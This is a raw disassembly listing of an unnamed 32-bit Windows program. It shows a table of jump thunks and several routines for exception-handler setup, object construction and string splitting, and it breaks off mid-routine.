loc_431670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408779p ; ___:0040879Bp ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- db 129Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F30 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E50 proc 